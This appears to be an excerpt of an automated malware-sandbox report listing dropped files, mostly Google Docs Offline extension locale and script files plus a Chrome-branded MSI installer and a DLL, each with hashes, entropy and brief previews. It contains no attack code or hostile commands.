Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Windows\Installer\4686cf.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Google Chrome 131.0.6778.109, Subject: Google Chrome, Author: Google LLC, Keywords: Installer, Template: Intel;1033, Revision Number: {967F9CAE-8EA3-4623-A378-F83D24095F53}, Create Time/Date: Thu Jan 11 14:59:44 2024, Last Saved Time/Date: Thu Jan 11 14:59:44 2024, Number of Pages: 200, Number of Words: 12, Name of Creating Application: MSI Wrapper (11.0.53.0), Security: 2
Category:	dropped
Size (bytes):	1880064
Entropy (8bit):	5.558716558380898
Encrypted:	false
SSDEEP:	24576:Kt9cpVDhmldE4LOTVE+2gDcVYBII/g7M3z:9pRhmkthkQIbM
MD5:	A08AC9D031B2C05B4AD646E76867F2C2
SHA1:	49E8CD403932E528DB6AB8FEA229DAC7DC2064AF
SHA-256:	2A6978DB146EA87B8DA5CB48B821C8219AC05D6D3F33CBFF8571F5FF4141D198
SHA-512:	3ACDB495D5ECF2579D54E7FE30D4E3686F3AAB65B6FBF3B39C9E73BEAD09BD9DE422DC91BABA45F235BAEF6C326B5D1C8A58D1E68B2C9BA62A1497F3378EE922
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI8846.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	212992
Entropy (8bit):	6.513409725320959
Encrypted:	false
SSDEEP:	3072:xspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCL42loHUvU0yGxr5GqM2a8:jtOdiRQYpgjpjew5DHyGxcqo8
MD5:	0C8921BBCC37C6EFD34FAF44CF3B0CB5
SHA1:	DCFA71246157EDCD09EECAF9D4C5E360B24B3E49
SHA-256:	FD622CF73EA951A6DE631063ABA856487D77745DD1500ADCA61902B8DDE56FE1
SHA-512:	ED55443E20D40CCA90596F0A0542FA5AB83FE0270399ADFAAFD172987FB813DFD44EC0DA0A58C096AF3641003F830341FE259AD5BCE9823F238AE63B7E11E108
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 2Wr5r2e9vo.msi, Detection: malicious, Browse Filename: 2Wr5r2e9vo.msi, Detection: malicious, Browse Filename: wE1inOhJA5.msi, Detection: malicious, Browse Filename: wE1inOhJA5.msi, Detection: malicious, Browse Filename: EVp6NE5N9g.msi, Detection: malicious, Browse Filename: EVp6NE5N9g.msi, Detection: malicious, Browse Filename: aba5298f.msi, Detection: malicious, Browse Filename: aba5298f.msi, Detection: malicious, Browse Filename: fO7yt1oYdn.msi, Detection: malicious, Browse Filename: fO7yt1oYdn.msi, Detection: malicious, Browse
